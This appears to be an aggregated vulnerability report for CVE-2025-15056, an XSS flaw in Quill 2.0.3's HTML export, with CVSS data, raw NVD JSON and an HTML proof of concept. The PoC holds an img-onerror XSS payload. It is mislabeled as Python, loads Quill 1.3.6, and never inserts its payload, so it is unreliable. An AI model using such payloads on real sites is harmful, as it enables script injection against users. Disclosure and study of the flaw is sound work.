Security Vulnerability Report
中文
CVE-2025-15056 CVSS 6.1 MEDIUM

CVE-2025-15056

Published: 2026-01-13 21:15:50
Last Modified: 2026-04-20 16:16:40

Description

A lack of data validation vulnerability in the HTML export feature in Quill in allows Cross-Site Scripting (XSS). This issue affects Quill: 2.0.3.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:slab:quill:2.0.3:*:*:*:*:node.js:*:* - VULNERABLE
Quill < 2.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-15056 PoC for Quill HTML Export XSS --> <!-- This PoC demonstrates the XSS vulnerability in Quill's HTML export feature --> <!DOCTYPE html> <html> <head> <title>CVE-2025-15056 PoC</title> <link href="https://cdn.quilljs.com/1.3.6/quill.snow.css" rel="stylesheet"> <script src="https://cdn.quilljs.com/1.3.6/quill.js"></script> </head> <body> <h1>Quill XSS Vulnerability PoC - CVE-2025-15056</h1> <div id="editor-container"></div> <button onclick="exportHTML()">Export HTML</button> <button onclick="showVulnerableOutput()">Show Vulnerable Output</button> <h2>Exported HTML:</h2> <div id="exported-html"></div> <h2>Rendered Output (Vulnerable):</h2> <div id="rendered-output"></div> <script> var quill = new Quill('#editor-container', { theme: 'snow' }); // XSS payload that can be inserted into Quill editor var xssPayload = '<img src=x onerror="alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,49,53,48,53,54,32,88,83,83))">'; function exportHTML() { // Get HTML content from Quill editor var htmlContent = quill.root.innerHTML; // Display the exported HTML document.getElementById('exported-html').innerText = htmlContent; // Store for later use window.exportedHTML = htmlContent; } function showVulnerableOutput() { // Render the exported HTML without sanitization (vulnerable) document.getElementById('rendered-output').innerHTML = window.exportedHTML; } // Alternative: Directly inject via clipboard/paste // The vulnerability allows XSS via the HTML export feature </script> <!-- Attack scenario: 1. Attacker inserts malicious HTML/JavaScript into Quill editor 2. Content is exported as HTML 3. Victim views the exported HTML 4. Malicious script executes in victim's browser --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15056", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:49.720", "lastModified": "2026-04-20T16:16:40.413", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of data validation vulnerability in the HTML export feature in Quill in allows Cross-Site Scripting (XSS).\n\nThis issue affects Quill: 2.0.3."}, {"lang": "es", "value": "Una vulnerabilidad por falta de validación de datos en la función de exportación HTML en Quill permite cross-site scripting (XSS).\n\nEste problema afecta a Quill: 2.0.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:slab:quill:2.0.3:*:*:*:*:node.js:*:*", "matchCriteriaId": "46DD2317-B985-4018-B219-BCF5886E165C"}]}]}], "references": [{"url": "https://fluidattacks.com/advisories/diomedes", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/slab/quill", "source": "[email protected]", "tags": ["Product"]}]}}